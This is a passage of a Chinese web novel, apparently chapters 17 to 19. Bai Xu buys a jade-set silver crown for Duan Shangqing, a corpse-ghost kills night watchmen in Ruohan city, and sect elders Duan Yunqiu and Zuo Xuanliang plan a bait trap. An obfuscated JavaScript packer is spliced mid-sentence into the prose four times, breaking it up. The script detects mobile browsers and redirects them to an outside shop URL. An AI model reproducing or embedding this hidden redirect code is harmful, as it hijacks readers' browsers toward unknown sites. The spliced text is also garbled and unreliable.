宁世赑眼尖,白栩的目光只在那发冠上多停了一瞬,他便附耳介绍起来:“宫里流出来的,一等一的暖烟玉,我也是花了大价钱收到,算你二百两,如何?” 暖烟玉确实珍贵,但也不至于瓜籽大小的玉就要到如此高价,白栩掸下宁世赑挂在他肩上的胳膊,面不改色地砍价:一百五十两。” 宁世赑赶紧赔笑:“白小公子,一百五太少了,一百八如何?我赔本卖给你!” 白栩只摇头,“一百五十两。” 他敢如此砍价,就是看准了这货宁世赑卖不出去,若寒城中富贵人家不多,极少有人光顾玉坊里屋,白栩若不买,这发冠不知要搁置到猴年马月去。 宁世赑急得鼻头出了汗,“一百七十两!不能再少了!” 白栩勾唇一笑,这笑里带着狡黠,看得宁世赑心里发慌,他俯身盯着宁老头豆大的眼睛,语气温和却毫无善意:“一百五十两,我让你净赚二十两,如何?” 宁世赑暗暗惊讶,不曾想白栩竟能看出这发冠的本钱,真是越长大越不好忽悠。 他一咬牙,再退让三分:“一百六十两!白小公子,白小祖宗!您让我宁老头子赚点钱吧。” 白栩不答他,只迈步往外走,宁世赑连忙拉住他,后槽牙都要咬碎了,磨着牙根挤出句妥协:“一百五十两,成交!” 白栩欣然一笑,拊掌叫好:“宁老板大气,帮我包好,明日送到白府。” 两百两的发冠生生折去了近三成的价,宁世赑肉疼得紧,又不敢再出一言讨价,咬牙切齿地送走白栩,暗下决心以后绝不再让这讨债鬼进里屋看宝。 回府路上,白栩嘴角的笑就没下来过,那老头子巧言令色,这些年没少坑他的钱,而今让他老老实实地吃一回瘪,真真是君子报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365470|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仇,十年不晚。 他越想越高兴,越笑越猖狂,段尚清无法不在意,出声询问:“阿栩,你和宁老板发生了什么?” 白栩闻言回过头看他,视线掠过他的眼睛落在了头顶,段尚清跟着去看,只看到日落西沉时漫天的霞光。 “明日你就知道了。”白栩拍拍段尚清的肩,伸长手臂一掌抓住他身后那条浮动在晚风中的发带,“给你买了个礼物。” 段尚清明显愣住了,他感受到白栩轻轻扯了扯自己的发带,连带着束起的长发也跟着在风中晃动。 “不必破费的。”他低下头,对上白栩的眸子,“我与姚靖本就叨扰,此行也未带随礼,衣食住行上下打点全仰仗白府,怎好再收赠礼。” 白栩最听不得段尚清这套没谱的说辞,显得客套又疏离,他们在黄泉地狱一同出生入死的情谊就是千金也换不来,他还没告诉段尚清自己买了什么,他就妄言破费,仿佛自己给他花个一钱两钱都是不值当的,真是古板! 他越想越生气,手上用了点力,直接把段尚清的发带扯了下来。 段尚清被扯得生疼,“嘶”了一声,并未出手阻止,任由墨黑的长发披散下来,被落日余晖染上通透的金。 他微微低头看着白栩,眉头微微蹙起,眨眨眼,瑞凤眸清澈而温润,此时却蒙上了一层委屈。 白栩实在是喜欢段尚清这副讨人心软模样,甩甩手里那条玄黑的发带,咧嘴一笑,“要想答谢,把这个给我,如何?” “阿栩若喜欢,尽管拿去。”段尚清欣然同意,虽不知白栩要这条旧发带作甚,但只要他喜欢,自己尽可以相赠。 这两人一来一回腻歪得紧,饶是姚靖走在前头也全听进耳去了,他玩心大起,跑上前叉着腰站定,一脸愤慨地嚷嚷:“阿栩哥哥偏心!给师兄买礼物不给我买。” 白栩一愣,心想这小家伙怎么还争风吃醋起来了?仔细一看姚靖眼里快要溢出来的笑意,当即了然,他笑眯眯地揉揉姚靖的脑袋,温言道:“我看你已经买了一根簪子,以为你不需要礼物了。” 姚靖嘴巴一撅,看起来万分委屈,“我的簪子也是礼物,不是给我自己的。” “哦?”白栩和段尚清对视一眼,有情况! 他俯下身与小孩平视,姚靖红彤彤的脸蛋和耳朵一览无遗,他神色玩味,眼中的探寻之意呼之欲出,“你要送给谁啊?” “我要送给……” 话头戛然而止,姚靖忽然意识到自己说漏了嘴,立刻捂住嘴巴,飞也似的跑走,一溜烟儿就没了影。 “我们小姚靖不会有心上人了吧?”白栩看着姚靖慌里慌张的背影渐渐隐没在长路尽头,煞有介事地捂上心口,“果然,儿大不中留。” 一向善解人意的段尚清此时却意外的不解风情,他像个从未涉入红尘的毛头小子,直愣愣地发问:“送人发簪,就是对人有情意么?” 白栩刚想回他个“是”,恍然想起自己准备送给段尚清那枚银冠,虽说发簪和发冠并非一物,可其所藏之心意,却是相通的,若自己此时说是,那明日段尚清收到发冠又会作何感想? 他连忙改口:“也不一定,只要两人两情相悦,送块石头都是情真意切,定情信物何必拘泥于玉簪发冠之俗物?我方才只是逗姚靖玩,你别多想。” 段尚清眸光一转,不知想到了什么,对白栩行了一揖,仿佛白栩是个博识的大儒,他是拜访大儒的门生,恭敬之态无出其右,“原是如此,受教了。” 白栩明知这人在闹他,又生不出脾气,对上那双含笑的眉眼,莫名红了耳尖。 17. 眉眼 “戌时一更,天干物燥,小心火烛——” 两个更夫一前一后敲梆打锣,夜已深,皓月被乌云遮去,只投下暗淡的光影。 白日里下了场雨,地上湿漉漉的,全是水坑,更夫的脚步伴随着踩水声,从街头走到巷尾。 “嘶,这小夜风尖溜溜的,都入春了还这么冷。” 李更夫缩缩脖子,“老王,你闺女那门亲事谈得怎么样了?要我说,就听那媒婆子的话,瘸子怎么了,他家有的是钱,你闺女嫁过去又吃不了苦……” 老李絮絮叨叨地在前面走,听老王一直没说话,以为自己乱叨叨惹人家生气,忙又添了句:“诶,我这么说你别往心里去啊,到底是闺女自己的事,她不愿嫁,咱也不能逼不是?” 老王依旧默不作声。 “老王?” 老李莫名其妙,老王平日随和,不会因为自己三言两语动真气,他停下脚步,身后静悄悄的,没有老王的气息。 他有些害怕,不敢回头,怯生生又唤了一声:“老王?王福?” 依旧没有人答应。 老李全身发起抖,冷汗簌簌地往下冒,他强迫自己回过身,空荡荡的街道,只有冷风卷着落叶魂儿似的游荡,哪里还有老王的身影! 老李吓得大叫一声,抱着锣就往家跑,踩水声急切起来,他一步也不敢停,家就在前面,再跑一小会儿就能到,他顾不上生死未卜的老王,只想快点逃命。 乌云变浓,那点暗淡的月光也消失不见,街道笼罩进一片浓稠的黑,老李看到了熟悉的酒坊,看到了摆在巷子外、炭翁的木板车,明明拐进巷子就能到家,可他沿着巷子里一直跑,直到筋疲力尽也看不见家门。 老李的心脏跳到嗓子眼,眼睛都忘了眨,泪水不知什么时候流了满脸,嘴角挂着涎液,黏糊糊的粘满了下巴。 怎么回事?怎么还看不到家门?跑了这么长时间了,怎么还不到家? 他的腿开始打颤,眼泪已经沾湿了衣襟,他失心疯似的喊着婆娘的名字,回应他的只有鼓噪的风声。 天开始下起雨,地上的水洼变深,老李清晰地听到另一道脚步声正朝着自己奔来,越来越近,越来越近,他魂飞魄散地大喊,涕泗横流。 耳边传来一声嘶哑的轻笑,紧接着小腿被狠狠一拽,整个人重重地摔向地面,门牙摔断了,鼻梁骨也折了,嘴巴和鼻子里流出鲜血。 他脑袋发蒙,手脚并用地往前爬,脚腕却再次被攥住,一股极大的力量扯着他往后拖,老李吓得哭爹喊娘,使劲蹬腿想挣脱,可他的力气不及身后那力量的一分,哪怕指甲已扣进地里,却还是被拖着走。 眼泪模糊了他的眼睛,他绝望地痛哭,忽然,腕子上的力消失了,他连滚带爬地起身,刚站稳身子,忽见身前立着个黑影。 这影子并不高大,倒像个女人,可女人哪有那么大的力气? 月光躲开了乌云,轻柔地洒了下来。 巷子里藏在暗处的景象慢慢露出真面目,老李看清了眼前的黑影,那是一个女人,一个被开膛破肚,面目狰狞,青面獠牙的干尸! 老李“娘啊”一声跌坐在地,□□里流出腥臊的黄水。 他还来不及跑,眼前忽地一黑—— “啊——” 一声凄厉的惨叫划破夜空,依稀几家门户点起了灯,紧接着,街巷里接二连三地传出惊叫声,女人孩子的哭嚎和男人的叫骂乌嚷嚷地聚成一团,一处未平,另一处惊叫陡然响起,两处相隔甚远的街巷里,同时出现了更夫被开膛破肚的尸体。 百姓的叫喊引来了官府,知县带着手下匆匆赶来,驱散了人群,把两处凶案现场围了个水泄不通。 白栩第二天一早才听到消息,彼时他刚起床,姚靖推门而入,一股脑把昨夜见闻讲给他听,他懵懵懂懂地听了个大概,原是死了两个更夫,死相凄惨,不知是何人所为。 “官府已经把尸体带回县衙了,我听看到尸体的人说,那更夫肚子上的伤不像是刀割的,像是被野兽生生扯开!” 白栩眨眨眼,慢半拍地打了个寒战。 “不过都是些道听途说,究竟是人是兽,还得由官府定夺。” “你怎么知道这么多?” 姚靖瞪大了眼睛,“我出去看了呀!昨晚闹那么大动静,阿栩哥,你没被吵醒?” 白栩尴尬地抓抓脑袋,不想承认自己睡得像猪一样沉,忙换了话题:“你师兄呢?” “今天一早被县衙请走了,说是叫他去看看尸体上有没有煞气,如果是邪修作乱或者帮派斗争这等江湖上的事,自有玄门大宗管,官府用不着露面。” 原来玄门术士会被请去县衙瞧看尸体,白栩长这么大第一次知道这事。 他惆怅地叹了口气,看来自己身在上三家却是个草包的事实,已经人尽皆知了。 两人正聊着,段尚清推门而进,白栩打趣他:“听说段兄被请去县衙当仵作了,尸体验的如何?” 段尚清坐到床沿,蹙着眉,面色凝重:“事非人为,江州有尸鬼暗中作乱。” 白栩一愣,“尸鬼”二字他只在神鬼话本里见过,说是因埋葬之地风水不好,尸身招阴聚煞,经年不腐,时日一长便化作尸鬼,从坟茔地里爬出来为祸百姓。 本以为那些个话本都是胡编乱造的看个乐就是,没想到还混进去了真东西。 他连忙坐直身子,正色道:“这尸鬼会不会是从山里跑出来的,你还记得我们花灯节那夜看到的那口黑棺么?” “记得。”段尚清忧郁的目光忽地变得坚定,当即站起身,作势要往外走。 屋外阴雨霏霏,天阴沉一片,白栩忙叫住他:“你要做什么去?” 段尚清的前脚已经踏出门槛,他一手握着剑,一手攥着油纸伞,听到白栩叫他,才想起解释:“我再去山里看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365471|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看。” 白栩看向窗外连绵的雨雾,劝道:“算了,不急在一时,绛鹊山那么大,想找到一口棺材可不容易,还是等我爹娘回来再商量对策。” 段尚清尚有些犹豫,站在门口仍作纠结,福生从院外匆匆赶来,举着伞站在门前,先朝着段尚清行了一礼,继而探头进屋内唤道:“二公子,宁烟玉坊的伙计送来个锦盒,说是给您的。” “哦,差点忘了。”白栩起身下床,翻箱倒柜掏出个锦囊,胡乱地抓出一把碎银塞进去,没数是否足斤足两,反正钱少了宁世赑会催人来要,他把钱袋抛给福生,吩咐道:“把这个给那伙计。” “诶。” 福生下去了,姚靖盯着盒子左瞧瞧右看看,满脸的好奇:“阿栩哥,这里面装的是不是给我师兄的礼物?” 白栩笑而不语,只将锦盒递到段尚清手上,示意他打开看看。 段尚清拨开木锁,掀开翻盖,一掌来宽的锦盒中塞满了填缝的绸布,布上绣以百花装饰,一只小小的银冠被繁花团簇在中央,镶嵌在其上的暖烟玉正隐隐泛着水蓝色的光泽。 白栩眉眼弯弯地解释:“在宁老头那里看到的,觉得与你相衬,就买回来送你——”他忽地一顿,脸上露出些许调侃的神色,“不许再提破费二字。” 段尚清捧着盒子低低地笑了两声,上扬的嘴角边挂着两枚小小的梨涡,他取出银冠托在掌心,细细瞧了一阵,又递给白栩,“劳烦帮我戴上。” 白栩喜笑颜开,他不顺眼段尚清头上那条老儒生打扮似的发带许久了,如今终于得偿所愿一把薅走,毕竟玉冠才配少年郎。 如墨的长发缀以月白银冠,一根细长的银钗别在发冠中央,如拦在月前的一缕横云,相生相应。 银冠一戴,虽是给他添了些风流才子的潇洒倜傥,不过那与生俱来的清冷儒雅到底是占了上乘。 白栩十分满意,这是他亲手在段尚清这张非黑即白的水墨画上,添的一笔水蓝色的重彩。 他后退两步细细打量。 段尚清生了双瑞凤眼,眼尾微微上挑,自带几分清贵,眼帘轻垂时,宛如一尊俯瞰尘寰的古佛,悲悯又疏离。 他常着一身素色长袍,衣料清简,不见半分绣纹,周身更无冗余装饰,唯腰间悬着一柄长剑,剑穗随步履轻轻晃动,倒成了这素净里唯一的灵动。 白栩见惯了风流才子俏佳人,还从未遇到过这般遗世独立、与众不同之人。 他仍记得暮春花灯节那夜,自己因怕一身脂粉香侵扰了段尚清,站在桥头吹了好一阵冷风才下到岸边。 罗淮河水波潋滟,段尚清静静地为花灯题愿,白栩侧目望进了一双低垂着的,不掺世俗杂念眸子,他看了许久,直到晚风吹起那条墨黑的发带拦住了视线,才顿觉失礼,别过了头。 眼前的河水静谧无声,他心神微乱,悄然动了给这位小神仙镶上一颗凡心的念头。 18. 段、佐二家 一晃眼,距尸鬼杀人已过去十日。 更夫的命案毫无头绪,县衙愁得满城找神探,放言只要能破案,赏白银五十两。 姚靖竟应征查案去了,不过不是为了银子,纯粹是想凑热闹,当然能顺手破案拿到赏钱就更好了。 于是他成了白栩安插在府外的眼线,每次回府都会带来些刚出锅的热乎消息,可惜往往是噩耗。 半月过去,若寒城已有十三个人遇害,城中百姓人人自危,惶惶度日,谁也不敢迈出家门,一时间,街巷萧索,鬼气森森。 不过案情也不是全然无望,尸鬼出没得越频繁,看到它真身的人就越多,有人说它身形不大,像个女人,有人说它全身干瘪,浑身青黑,有人说它肚子被破开,只剩个空腔子。 确认了事非人为,县衙主动把案子交给玄门处理,并且十分自觉地担任起替百姓看家护院的职责,这下百姓的安危有了保障,人心渐渐安定下来。 尸鬼神出鬼没,极难抓捕,江南大小玄门齐聚若寒城,忙活了近一个月,连尸鬼的毛儿都没摸着,更别说逮到处死了,无奈之下只好向远在广陵和琅琊的上三家求助。 于是白栩没等到爹娘回家,反倒等来了另外两位大人物。 此时距更夫一案已过去一月有余,雨还是连绵不绝地下,白栩一到阴雨天就想睡觉,白日也要分出大半时间打瞌睡,这日,他正吃着早饭,下人匆忙来报,说有两位玄门的大人远道而来,正在门前拴马。 白栩嚼着包子,以为是江南的玄士来拜访,这几日他接待得够多了,一听到来人拜谒就脑袋疼,恨不得挖个地洞躲进去。 他疲惫地问:“姓甚名何,哪方的玄士?” “他们一个姓段,一个姓佐,都说和白长老相识。” 白栩一愣,嘴里的包子掉到碗中,“不会吧……”他看向段尚清,“你爹来了?” 段尚清亦是诧异,探头向外看了一眼,立刻起身拉上白栩往府门赶。 白栩抽空擦掉嘴角的油,理了理衣襟,和段尚清一起候在院中接客。 来者其一乃段家家主段云秋,眉疏目朗,温文尔雅,举止间一派儒士作风,另一人剑眉星目,英气凌人,威而不怒,庄而可亲,正是佐家长老佐宣梁。 白栩知晓他二老的神威,一想他们要在白府做客,心里就有些发怵。 他自小就听老爹叨叨,说段云秋死板得像个鞋底子,佐宣梁凶得像钟馗,白栩见过两位伯伯几次,但那都是小时候的记忆了,而且碍于爹的造谣,一向不敢接近他们,每次造访都躲在爹的腿边,不敢抬头见人,尤其是佐伯伯,更是一眼也不敢打量,生怕自己瞧见那张和门神一样凶恶的脸,吓得晚上做噩梦。 爹还说他年少时总挨两位伯伯的欺负,每每讲起陈年旧事,总是摆出一副受尽委屈的可怜神态来,彼时白栩年幼无知,听信一家之言,常替他爹打抱不平,心想明明他们三人是世家之友,理应情同手足,为什么另外两个伯伯要欺负爹呢? 如今他算是明白了,纯是他老爹活该,两位长老皆是风清骨峻的郎朗君子,和他爹嘴里的恃强凌弱的小人风马牛不相及! 他和段尚清候在门前作揖,佐宣梁一踏进大门就朗声感慨:“呦,白家小子,一别十五年,都长这么大了,过来给我瞧瞧!” 如洪钟般的嗓音震得白栩耳朵嗡嗡作响,他怯生生地迎上前,叫了声:“佐伯伯。”还未作揖,腋下忽地伸进一双结实的手臂,紧接着脚下一空,他竟被佐宣梁拎小鸡仔似的给举了起来。 白栩脸上惊慌的神色令佐宣梁哈哈大笑,他掂量掂量手中的重量,不满道:“身上都没多少肉,你爹是不是不给你买好吃的?” 白栩连忙替他老爹正名:“没有没有,爹每天都给我吃肉。” “那就是不好好练功,身板太弱!” “我经脉不全,练不了功。” “那可不行,就算练不了玄法,也得学个一招半式保身,来来来,佐伯伯教你几招!”佐宣梁说着作势要带白栩往院中走。 白栩惊恐地上下扑腾:“不要啊!我不要练功!” 佐宣梁大笑着把他放下来,稀罕地掐掐白栩的脸蛋,“伯伯逗你玩呢,怎么这么不经逗。” 白栩惊魂未定,哆哆嗦嗦地挤出了个难看的笑,以往只有他逗人的份儿,今儿个终于小巫见大巫,成了人家手里的玩意了。 佐宣梁长臂一伸把白栩揽进怀里,指着一旁正在谈话的段家父子明目张胆地诽谤:“你看他们老段家,爹和儿子说话恨不得隔二里地远,我就说段老古板礼教忒严,你瞧瞧这两人,像师生,像君臣,唯独不像父子。”末了,他还不忘称颂自己一番,“得像你佐伯伯学知道么?做人得豪爽,可不能太重礼数,你一作揖我一抱拳的,生分!” 佐宣梁这番话说得那叫一个理直气壮、底气十足,白栩被他的豪气感染,觉得这才是江湖大侠的做派,忙受教地点头,佐宣梁满意地摸摸他的脑袋,正欲再传道,怀里的少年忽地被另一只手给拉走,顺着瞧去,原是段云秋把人护在了身后。 “佐老邪,你就不能少说你那套歪理?别把小栩教坏了。”段云秋长眉紧蹙,一脸嫌弃之相。 佐宣梁当即吹胡子瞪眼,“谁说我是歪理!老古板你血口喷人!” 段云秋毫不退让,“你自己不讲礼数一身痞气就罢了,还妄图授之以人,真是荒唐!” 两个年近半百的玄门长老就这么你一言我一句地吵了起来,白栩看呆了,段尚清倒是习以为常,把白栩带离了战场。 “他们一向如此,一碰面就吵,吵起来比三岁孩童还幼稚。”段尚清附在白栩耳边轻声议论,眼睛不停瞟向院内,生怕被自己爹听到,尽管此时他爹正忙着吵架没空理他。 “可怜我爹夹在他俩中间,真是难为他了。”白栩想起老爹诉苦时那副委屈的神情,也许爹说自己被欺负,也不全是造谣,果然人不可貌相。 谁料段尚清闻言却露出了副古怪神色,白栩被他盯得奇怪,便问:“怎么,有何不对?” 段尚清眼角抽动,似乎有些忍俊不禁,但顾及长老们的面子,到底是没笑出声,咳了一声正色道:“白伯伯伶牙俐齿,我爹和佐伯伯都说不过他,往往得二人合伙来才能制服,不知为难二字从何说起?” 白栩无语凝噎,讪讪地笑了起来,心里暗暗腹诽,合着他爹那个大忽悠,嘴里没一句实话! 段云秋和佐宣梁在白府大院唇枪舌战了几个回合,待一方倒戈弃甲,旋即便心平气和地论起事来,仿佛方才吵得极凶的不是他俩一样。 他们招呼躲远了的段尚清和白栩进院来,交代他们此行江州,是受江南众玄门所托,抓捕行凶的尸鬼。 据说这尸鬼凶邪无比,手段狠毒,枉死之人皆被开膛破肚,盗走心肝,而尸鬼的样貌,似乎是个女人身形,浑身干瘪,泛青黑之色,胸膛开裂,腹腔空荡,显然是死尸诈起,行凶作乱。 段尚清已将情况悉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365472|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数讲给段云秋,段老家主即刻铺谋定计,决定以诱饵之法,引蛇出洞。 至于谁做诱饵,还有待商榷,一来此人不得有真气护体,不然尸鬼不会近身来犯,二来此人必须有自保能力,否则难逃一死。 白栩本以为这诱饵自己做定了,段云秋却说白栩体内有真气护持,尸鬼不会上当,何况他不会武功,一旦被抓,难逃魔爪。 这诱饵之人算到最终,竟落到了姚靖头上。 白栩想不明白,姚靖也是习武之人,体内自然也有真气,怎么就能假扮诱饵吸引尸鬼了?还有,自己一不学武二不炼气,体内哪有护体的真气? 看出了白栩的疑惑,段云秋从旁解释:“姚靖有独门绝学,能隐匿真气,他做诱饵再合适不过。至于你体内的真气,依我所感不像是周行经脉炼气得来,倒像是灵物,这东西的道行比我高得多,我看不清它究竟是什么。” 白栩听得一头雾水,正欲再问,一声有如山响的“家主”从白府门口排山倒海地传来,众人循声看去,原是姚靖刚从衙门回来。 他来得正好,段云秋将诱饵一事讲与他听,姚靖乐得此差事,当即应了下来。 白栩仍心存犹疑,姚靖既是段家的门生,为何会掌握连段尚清都不会的绝学?他想问个明白,奈何众人商讨事宜无暇抽身,只好咽下疑问,全心协助抓鬼。 白栩早已吩咐福生,让他叫厨娘备一桌好酒好菜招呼,众人商讨间,不觉已临近晌午,日头高挂,灿阳倾洒,下人忙忙碌碌地端菜送茶,从厨房传来的香味闯入密不透风的军师帐,勾起了所有人的馋虫。 “阿栩哥,我们要开饭了吧?”姚靖馋得直吞口水,他一大早就跟着其他玄士奔波,早饭那丁点儿可怜的稀粥已然丝毫不剩,此时腹腔高鸣,有如擂鼓。 段云秋和佐宣梁一路车马劳顿,自然也需一顿丰盛的接风宴,白栩立刻招呼众人去膳堂落座,迎两位长老坐主位,小辈坐宾位。 宴席间,白栩问及临安谣言一事,他想两位伯伯途径临安,定会有所耳闻。 “泛泛无稽之谈,不足为信!倒是那散谣之人,着实可恶!”佐宣梁挑起一块卤肉大快朵颐,风卷残云过,长须竟洁净如初,一滴油水也未沾上,不知是何方神功。 和他相比,段云秋就显得十分文雅,他咽下口中的菜,喝了口茶清口,还颇为讲究地拭拭嘴角,才开口道:“段、佐、白三家世代相交,断不会相互猜忌。我听尚清说,你爹娘去临安探查了?” “对,我姐姐也出门了。” “他们倒是放心留你一人在这,出了事怎么办!这尸鬼闹得满城风雨,你又不会武功,躲哪儿都不安全!”佐宣梁颇有些愤然。 不料这关心之言却刺了段云秋的耳朵,他侧目斜视,不满道:“有尚清在此护持,何来危险?你看不起谁?” “我没这意思!你信口雌黄!” “料你也不敢。” 白栩本以为此番又要上演两冤家拌嘴,谁知段云秋率先敛了锋芒,一收俐齿伶牙,扭过头看向他,温言道:“此事你不必忧心,江南关内玄门百家,无人信此谣言,白氏除魔卫道、镇守邪山之功有目共睹,大家心中有数。” 白栩一想也是,这几日不停有玄士登门拜谒,言谈之间皆未问起临安谣言,想来他们也认为这谣言不过空穴来风、无中生有。 他稍放宽了心,不再烦忧,只待爹娘回来再做定夺。 此时要紧之事,是抓到杀人的尸鬼。 19. 险象 段云秋的计谋很简单,他料想尸鬼不敢进城,定是藏在山中伺机作祟,那尸鬼一连几日不见血光,早已凶性难耐,此时送羊入虎口,定能叫它堕入术中再难逃脱。 法子虽是粗糙了些,却是行之有效,且非他首创,早先便有一玄门人士以一屠夫做诱饵,试图引出尸鬼一网打尽,奈何他功夫欠佳,没抓到尸鬼不说,还害得屠夫受了伤,所幸有惊无险,没闹出人命来。 不过由此可见,诱饵之法的确能引出尸鬼。 段云秋胸有成竹,此番由他和佐宣梁一同操持,定能手到擒来。 戌时三刻,两位家主带着姚靖从后院上了山。 段尚清本应同去,但段云秋念及白栩没有自保能力,若遇变数恐难及时赶到,便叫他留在家中保护白栩。 月落乌啼,霜华千里,空荡荡的街道阴风阵阵,衙役们立于百姓门前,如两尊门神,守一方天地。 就在这寂静无声之时,一声凄厉惨叫自西街马府传来,而后一阵嘈杂的脚步声由远及近。 “哐哐哐”,白府的大门被大力敲响。 “锦爻兄!锦爻兄!救命啊!” 白栩正闭目养神,听出是马学究的声音,急忙起身下榻,一打开门就见段尚清抱剑立于门前,双眉紧锁,目光炯炯,紧盯着吵嚷传来的方向,见他出来,一把拉上他奔向大门。 府门前已聚集了一帮人,马学究蹲在府前的石阶上嚎啕大哭,马府和白府的衙役将他围起来护住,几个夜巡的玄士站在对面的屋顶上看热闹,周遭人家纷纷点灯,打开一缝窗户偷偷向外看。 “卓涟,何事如此惊慌?” 听到白栩的声音,马学究抬起一张涕泗横流、吓得煞白的脸,哆哆嗦嗦道:“我……我方才上茅厕,方一开门,就见一个黑影缩在一旁,我以为是只大狸猫,想叫下人给它呵走,谁知我还没喊出声,那黑影倏地一下窜出,张开獠牙大口直朝我脖子咬来,我吓得半死,身子都僵了,逃也逃不走,只能大喊大叫,还好衙役们及时赶来救我一命,否则……否则……” 不等说完,他已捂着脸哭得伤心欲绝。 白栩一惊,立马看向段尚清,“尸鬼不在山上,那段伯伯他们岂不是……” 段尚清显然也未料到,迷茫了一瞬很快反应过来,他打断白栩的忧心,“无妨,我去抓鬼。” 言罢,他上前与衙役交涉,问到尸鬼是朝西街老巷口逃去,提剑便前往,方才那几个看热闹的玄士远远跟在他身后,看样子是要一同抓鬼。 不过他方跑远开去,又匆匆折返,拆下剑穗塞到白栩手里,嘱咐道:“若遇危险,立刻捏碎它,我会赶回来救你。” 白栩看向手中,青蓝的流苏剑穗上悬着一颗莹润的玉髓,借着月光,能看见玉上刻着太极八卦纹。 是个辟邪的好东西。 他欣然收下,段尚清这才放心离开。 马学究还在哭天抢地,哀嚎声声,见他一幅惨样,白栩哭笑不得,干脆坐在石阶上陪他。 反正一旁有衙役持长刀贴护,手里有保命的灵玉,他不必怕什么,倒是要先把眼前这个泪人儿给安抚下来。 “卓涟,你可看清尸鬼长什么样?” “没看清,就黑乎乎的一条人形模样,倒是它的手,特别有力,掐得我喘不上气。” 马学究掀开衣领给白栩看脖子上的伤,十个青紫的指印清晰可见,伤重之处甚至冒出了起了血痧。 他抹了把泪,“城里好几日都不死人了,我却成了尸鬼重开杀宴的第一盘菜,人命如此,我如草芥鱼肉,任人刀俎。” 眼看着又要声泪俱下,白栩忙止住话头,用力拍拍他的肩头以表安慰,“大难不死,必有后福。” “福祸相依,福祸相依。”马学究擦干眼泪,露出个丑的不得了的笑,直到此时他才意识到自己的千般狼狈、万般失态,正欲起身告辞,奈何双腿绵软无力,方一起身,又结结实实地摔回原地。 他脸红得不行,结结巴巴道:“锦爻兄,我……我腿吓软了,可否留我在你府门前再坐上片刻?” 白栩大笑着应下,“你且安心,就算坐到天亮我也陪你。” 马学究感激涕零,握着白栩的手千恩万谢,白栩笑眯眯地应承下来,反正长夜将尽,欲眠难安,他正愁剩下的时辰如何耗得,这家伙倒真是个解闷儿的好玩意。 “你可还记得我前些日子和你说过,玉县闹了旱魃。”马学究凑到白栩身旁,语气很是神秘。 “记得,不是说玉县赤地千里,还找了个老道来看么。” “玉县昨日下了一场大雨,田地吃饱了水,好多作物都救回来了。”马学究故作深沉,“可是人还是照样死,那死状,和咱们若寒城遇害的人很是相像。” 白栩蹙眉,“所以不是旱魃……”他看向马学究的眼睛,“玉县也闹了尸鬼?” “我看是。”马学究一拍大腿,“准是!” 西街老巷临近山脚,巷墙外围着荒疏的高林,树影间隐约闪过几瞬晃动的黑影,鬼笑似的鸟叫更显四幕黑得逼仄,月光白得骇人。 段尚清方一踏入巷口,心神便被扰得纷乱,隐约的危险蛰伏在暗处伺机而动,哪怕念动清心咒,也无法消弭这不祥的预兆。 他四下寻望一圈,抬脚朝巷尾走去。 巷子的尽头,是一家陈旧的棺材铺,门楣上挂着一块褪色的牌匾,上面用朱红大字写着“幽冥寿材”四字,字迹已被腐蚀,虚虚剩个轮廓。 正欲推门而入,忽听瓦梁上一阵窸窣之声,急急抬眼看去,只见远处青砖白瓦上,伏着一蓝影,约莫似个匍匐的人形。 三更半夜,何人闯入这闹鬼的巷子来? 段尚清纵身跃上屋脊,朝着声源追去,走近了些,那人形忽地一抬脸,倒叫他吃了一惊—— “阿栩?你怎么来了?” “来看看你,找到尸鬼的踪迹了么?”白栩仰头看他,唇角无端噙着抹笑。 段尚清望定白栩片刻,犹疑地收了视线。 “没找到尸鬼,”他抬手指向寿材铺,“不过那里有些古怪,正要去探查。” “那我和你一起去。”白栩轻快地站起身,脚下松动的瓦片吱嘎作响,他却稳稳地立着。 段尚清的视线极快地扫过白栩上下,见他一副兴致勃勃的模样,叹了口气道:“握住我给你的玉髓,有危险就捏碎它,能护你一命。” 白栩点头,跟着他跃下房梁,朝铺子走去。 婆娑的树影落下满地斑驳,夜风一吹,成片地晃动,像漫天游魂落下的影儿。 寿材铺静立在静谧的黑夜里,门开了个缝儿,月光投进去,照亮了屋里成排的纸人纸马,它们阴恻恻地藏在阴影里,用无神的浓墨点的眼,朝门外直勾勾地看。 段尚清有些脊背发凉。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 